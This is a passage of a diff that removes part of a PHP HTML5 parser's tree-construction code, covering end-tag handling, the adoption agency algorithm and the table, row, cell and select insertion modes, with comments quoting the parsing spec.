break; - - case HTML5::ENDTAG: - switch($token['name']) { - /* An end tag with the tag name "body" */ - case 'body': - /* If the second element in the stack of open elements is - not a body element, this is a parse error. Ignore the token. - (innerHTML case) */ - if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { - // Ignore. - - /* If the current node is not the body element, then this - is a parse error. */ - } elseif(end($this->stack)->nodeName !== 'body') { - // Parse error. - } - - /* Change the insertion mode to "after body". */ - $this->mode = self::AFTER_BODY; - break; - - /* An end tag with the tag name "html" */ - case 'html': - /* Act as if an end tag with tag name "body" had been seen, - then, if that token wasn't ignored, reprocess the current - token. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::ENDTAG - )); - - return $this->afterBody($token); - break; - - /* An end tag whose tag name is one of: "address", "blockquote", - "center", "dir", "div", "dl", "fieldset", "listing", "menu", - "ol", "pre", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'pre': case 'ul': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with - the same tag name as that of the token, then this - is a parse error. */ - // w/e - - /* If the stack of open elements has an element in - scope with the same tag name as that of the token, - then pop elements from this stack until an element - with that tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is "form" */ - case 'form': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - } - - if(end($this->stack)->nodeName !== $token['name']) { - /* Now, if the current node is not an element with the - same tag name as that of the token, then this is a parse - error. */ - // w/e - - } else { - /* Otherwise, if the current node is an element with - the same tag name as that of the token pop that element - from the stack. */ - array_pop($this->stack); - } - - /* In any case, set the form element pointer to null. */ - $this->form_pointer = null; - break; - - /* An end tag whose tag name is "p" */ - case 'p': - /* If the stack of open elements has a p element in scope, - then generate implied end tags, except for p elements. */ - if($this->elementInScope('p')) { - $this->generateImpliedEndTags(array('p')); - - /* If the current node is not a p element, then this is - a parse error. */ - // k - - /* If the stack of open elements has a p element in - scope, then pop elements from this stack until the stack - no longer has a p element in scope. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->elementInScope('p')) { - array_pop($this->stack); - - } else { - break; - } - } - } - break; - - /* An end tag whose tag name is "dd", "dt", or "li" */ - case 'dd': case 'dt': case 'li': - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - generate implied end tags, except for elements with the - same tag name as the token. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(array($token['name'])); - - /* If the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - pop elements from this stack until an element with that - tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - generate implied end tags. */ - if($this->elementInScope($elements)) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as that of the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has in scope an element - whose tag name is one of "h1", "h2", "h3", "h4", "h5", or - "h6", then pop elements from the stack until an element - with one of those tag names has been popped from the stack. */ - while($this->elementInScope($elements)) { - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "a", "b", "big", "em", - "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'a': case 'b': case 'big': case 'em': case 'font': - case 'i': case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* 1. Let the formatting element be the last element in - the list of active formatting elements that: - * is between the end of the list and the last scope - marker in the list, if any, or the start of the list - otherwise, and - * has the same tag name as the token. - */ - while(true) { - for($a = count($this->a_formatting) - 1; $a >= 0; $a--) { - if($this->a_formatting[$a] === self::MARKER) { - break; - - } elseif($this->a_formatting[$a]->tagName === $token['name']) { - $formatting_element = $this->a_formatting[$a]; - $in_stack = in_array($formatting_element, $this->stack, true); - $fe_af_pos = $a; - break; - } - } - - /* If there is no such node, or, if that node is - also in the stack of open elements but the element - is not in scope, then this is a parse error. Abort - these steps. The token is ignored. */ - if(!isset($formatting_element) || ($in_stack && - !$this->elementInScope($token['name']))) { - break; - - /* Otherwise, if there is such a node, but that node - is not in the stack of open elements, then this is a - parse error; remove the element from the list, and - abort these steps. */ - } elseif(isset($formatting_element) && !$in_stack) { - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 2. Let the furthest block be the topmost node in the - stack of open elements that is lower in the stack - than the formatting element, and is not an element in - the phrasing or formatting categories. There might - not be one. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $length = count($this->stack); - - for($s = $fe_s_pos + 1; $s < $length; $s++) { - $category = $this->getElementCategory($this->stack[$s]->nodeName); - - if($category !== self::PHRASING && $category !== self::FORMATTING) { - $furthest_block = $this->stack[$s]; - } - } - - /* 3. If there is no furthest block, then the UA must - skip the subsequent steps and instead just pop all - the nodes from the bottom of the stack of open - elements, from the current node up to the formatting - element, and remove the formatting element from the - list of active formatting elements. */ - if(!isset($furthest_block)) { - for($n = $length - 1; $n >= $fe_s_pos; $n--) { - array_pop($this->stack); - } - - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 4. Let the common ancestor be the element - immediately above the formatting element in the stack - of open elements. */ - $common_ancestor = $this->stack[$fe_s_pos - 1]; - - /* 5. If the furthest block has a parent node, then - remove the furthest block from its parent node. */ - if($furthest_block->parentNode !== null) { - $furthest_block->parentNode->removeChild($furthest_block); - } - - /* 6. Let a bookmark note the position of the - formatting element in the list of active formatting - elements relative to the elements on either side - of it in the list. */ - $bookmark = $fe_af_pos; - - /* 7. Let node and last node be the furthest block. - Follow these steps: */ - $node = $furthest_block; - $last_node = $furthest_block; - - while(true) { - for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { - /* 7.1 Let node be the element immediately - prior to node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 7.2 If node is not in the list of active - formatting elements, then remove node from - the stack of open elements and then go back - to step 1. */ - if(!in_array($node, $this->a_formatting, true)) { - unset($this->stack[$n]); - $this->stack = array_merge($this->stack); - - } else { - break; - } - } - - /* 7.3 Otherwise, if node is the formatting - element, then go to the next step in the overall - algorithm. */ - if($node === $formatting_element) { - break; - - /* 7.4 Otherwise, if last node is the furthest - block, then move the aforementioned bookmark to - be immediately after the node in the list of - active formatting elements. */ - } elseif($last_node === $furthest_block) { - $bookmark = array_search($node, $this->a_formatting, true) + 1; - } - - /* 7.5 If node has any children, perform a - shallow clone of node, replace the entry for - node in the list of active formatting elements - with an entry for the clone, replace the entry - for node in the stack of open elements with an - entry for the clone, and let node be the clone. */ - if($node->hasChildNodes()) { - $clone = $node->cloneNode(); - $s_pos = array_search($node, $this->stack, true); - $a_pos = array_search($node, $this->a_formatting, true); - - $this->stack[$s_pos] = $clone; - $this->a_formatting[$a_pos] = $clone; - $node = $clone; - } - - /* 7.6 Insert last node into node, first removing - it from its previous parent node if any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $node->appendChild($last_node); - - /* 7.7 Let last node be node. */ - $last_node = $node; - } - - /* 8. Insert whatever last node ended up being in - the previous step into the common ancestor node, - first removing it from its previous parent node if - any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $common_ancestor->appendChild($last_node); - - /* 9. Perform a shallow clone of the formatting - element. */ - $clone = $formatting_element->cloneNode(); - - /* 10. Take all of the child nodes of the furthest - block and append them to the clone created in the - last step. */ - while($furthest_block->hasChildNodes()) { - $child = $furthest_block->firstChild; - $furthest_block->removeChild($child); - $clone->appendChild($child); - } - - /* 11. Append that clone to the furthest block. */ - $furthest_block->appendChild($clone); - - /* 12. Remove the formatting element from the list - of active formatting elements, and insert the clone - into the list of active formatting elements at the - position of the aforementioned bookmark. */ - $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - - $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); - $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); - $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); - - /* 13. Remove the formatting element from the stack - of open elements, and insert the clone into the stack - of open elements immediately after (i.e. in a more - deeply nested position than) the position of the - furthest block in that stack. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $fb_s_pos = array_search($furthest_block, $this->stack, true); - unset($this->stack[$fe_s_pos]); - - $s_part1 = array_slice($this->stack, 0, $fb_s_pos); - $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); - $this->stack = array_merge($s_part1, array($clone), $s_part2); - - /* 14. Jump back to step 1 in this series of steps. */ - unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); - } - break; - - /* An end tag token whose tag name is one of: "button", - "marquee", "object" */ - case 'button': case 'marquee': case 'object': - /* If the stack of open elements has an element in scope whose - tag name matches the tag name of the token, then generate implied - tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // k - - /* Now, if the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then pop - elements from the stack until that element has been popped from - the stack, and clear the list of active formatting elements up - to the last marker. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - - $marker = end(array_keys($this->a_formatting, self::MARKER, true)); - - for($n = count($this->a_formatting) - 1; $n > $marker; $n--) { - array_pop($this->a_formatting); - } - } - break; - - /* Or an end tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "hr", "iframe", "image", "img", - "input", "isindex", "noembed", "noframes", "param", "select", - "spacer", "table", "textarea", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'hr': case 'iframe': case 'image': - case 'img': case 'input': case 'isindex': case 'noembed': - case 'noframes': case 'param': case 'select': case 'spacer': - case 'table': case 'textarea': case 'wbr': - // Parse error. Ignore the token. - break; - - /* An end tag token not covered by the previous entries */ - default: - for($n = count($this->stack) - 1; $n >= 0; $n--) { - /* Initialise node to be the current node (the bottommost - node of the stack). */ - $node = end($this->stack); - - /* If node has the same tag name as the end tag token, - then: */ - if($token['name'] === $node->nodeName) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* If the tag name of the end tag token does not - match the tag name of the current node, this is a - parse error. */ - // k - - /* Pop all the nodes from the current node up to - node, including node, then stop this algorithm. */ - for($x = count($this->stack) - $n; $x >= $n; $x--) { - array_pop($this->stack); - } - - } else { - $category = $this->getElementCategory($node); - - if($category !== self::SPECIAL && $category !== self::SCOPING) { - /* Otherwise, if node is in neither the formatting - category nor the phrasing category, then this is a - parse error. Stop this algorithm. The end tag token - is ignored. */ - return false; - } - } - } - break; - } - break; - } - } - - private function inTable($token) - { - $clear = array('html', 'table'); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "caption" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'caption') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - - /* Insert an HTML element for the token, then switch the - insertion mode to "in caption". */ - $this->insertElement($token); - $this->mode = self::IN_CAPTION; - - /* A start tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'colgroup') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the - insertion mode to "in column group". */ - $this->insertElement($token); - $this->mode = self::IN_CGROUP; - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'col') { - $this->inTable(array( - 'name' => 'colgroup', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - $this->inColumnGroup($token); - - /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('tbody', 'tfoot', 'thead'))) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in table body". */ - $this->insertElement($token); - $this->mode = self::IN_TBODY; - - /* A start tag whose tag name is one of: "td", "th", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && - in_array($token['name'], array('td', 'th', 'tr'))) { - /* Act as if a start tag token with the tag name "tbody" had been - seen, then reprocess the current token. */ - $this->inTable(array( - 'name' => 'tbody', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inTableBody($token); - - /* A start tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'table') { - /* Parse error. Act as if an end tag token with the tag name "table" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inTable(array( - 'name' => 'table', - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - - /* An end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - return false; - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a table element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a table element has been - popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'table') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td', - 'tfoot', 'th', 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Parse error. Process the token as if the insertion mode was "in - body", with the following exception: */ - - /* If the current node is a table, tbody, tfoot, thead, or tr - element, then, whenever a node would be inserted into the current - node, it must instead be inserted into the foster parent element. */ - if(in_array(end($this->stack)->nodeName, - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* The foster parent element is the parent element of the last - table element in the stack of open elements, if there is a - table element and it has such a parent element. If there is no - table element in the stack of open elements (innerHTML case), - then the foster parent element is the first element in the - stack of open elements (the html element). Otherwise, if there - is a table element in the stack of open elements, but the last - table element in the stack of open elements has no parent, or - its parent node is not an element, then the foster parent - element is the element before the last table element in the - stack of open elements. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table') { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $table->parentNode !== null) { - $this->foster_parent = $table->parentNode; - - } elseif(!isset($table)) { - $this->foster_parent = $this->stack[0]; - - } elseif(isset($table) && ($table->parentNode === null || - $table->parentNode->nodeType !== XML_ELEMENT_NODE)) { - $this->foster_parent = $this->stack[$n - 1]; - } - } - - $this->inBody($token); - } - } - - private function inCaption($token) - { - /* An end tag whose tag name is "caption" */ - if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a caption element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a caption element has - been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === 'caption') { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag - name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table')) { - /* Parse error. Act as if an end tag with the tag name "caption" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inCaption(array( - 'name' => 'caption', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - - /* An end tag whose tag name is one of: "body", "col", "colgroup", - "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th', - 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inColumnGroup($token) - { - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { - /* Insert a col element for the token. Immediately pop the current - node off the stack of open elements. */ - $this->insertElement($token); - array_pop($this->stack); - - /* An end tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'colgroup') { - /* If the current node is the root html element, then this is a - parse error, ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - /* Otherwise, pop the current node (which will be a colgroup - element) from the stack of open elements. Switch the insertion - mode to "in table". */ - } else { - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* An end tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Act as if an end tag with the tag name "colgroup" had been seen, - and then, if that token wasn't ignored, reprocess the current token. */ - $this->inColumnGroup(array( - 'name' => 'colgroup', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - } - } - - private function inTableBody($token) - { - $clear = array('tbody', 'tfoot', 'thead', 'html'); - - /* A start tag whose tag name is "tr" */ - if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Insert a tr element for the token, then switch the insertion - mode to "in row". */ - $this->insertElement($token); - $this->mode = self::IN_ROW; - - /* A start tag whose tag name is one of: "th", "td" */ - } elseif($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Parse error. Act as if a start tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inTableBody(array( - 'name' => 'tr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inRow($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node from the stack of open elements. Switch - the insertion mode to "in table". */ - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) || - ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) { - /* If the stack of open elements does not have a tbody, thead, or - tfoot element in table scope, this is a parse error. Ignore the - token. (innerHTML case) */ - if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Act as if an end tag with the same tag name as the current - node ("tbody", "tfoot", or "thead") had been seen, then - reprocess the current token. */ - $this->inTableBody(array( - 'name' => end($this->stack)->nodeName, - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inRow($token) - { - $clear = array('tr', 'html'); - - /* A start tag whose tag name is one of: "th", "td" */ - if($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in cell". */ - $this->insertElement($token); - $this->mode = self::IN_CELL; - - /* Insert a marker at the end of the list of active formatting - elements. */ - $this->a_formatting[] = self::MARKER; - - /* An end tag whose tag name is "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node (which will be a tr element) from the - stack of open elements. Switch the insertion mode to "in table - body". */ - array_pop($this->stack); - $this->mode = self::IN_TBODY; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* Act as if an end tag with the tag name "tr" had been seen, then, - if that token wasn't ignored, reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Otherwise, act as if an end tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inCell($token) - { - /* An end tag whose tag name is one of: "td", "th" */ - if($token['type'] === HTML5::ENDTAG && - ($token['name'] === 'td' || $token['name'] === 'th')) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token, then this is a - parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Generate implied end tags, except for elements with the same - tag name as the token. */ - $this->generateImpliedEndTags(array($token['name'])); - - /* Now, if the current node is not an element with the same tag - name as the token, then this is a parse error. */ - // k - - /* Pop elements from this stack until an element with the same - tag name as the token has been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === $token['name']) { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in row". (The current node - will be a tr element at this point.) */ - $this->mode = self::IN_ROW; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html'))) { - /* Parse error. Ignore the token. */ - - /* An end tag whose tag name is one of: "table", "tbody", "tfoot", - "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token (which can only - happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), - then this is a parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inSelect($token) - { - /* Handle the token as follows: */ - - /* A character token */ - if($token['type'] === HTML5::CHARACTR) { - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'option') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* A start tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'optgroup') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, act as if an end tag - with the tag name "optgroup" had been seen. */ - if(end($this->stack)->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'optgroup', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* An end tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'optgroup') { - /* First, if the current node is an option element, and the node - immediately before it in the stack of open elements is an optgroup - element, then act as if an end tag with the tag name "option" had - been seen. */ - $elements_in_stack = count($this->stack); - - if($this->stack[$elements_in_stack - 1]->nodeName === 'option' && - $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is 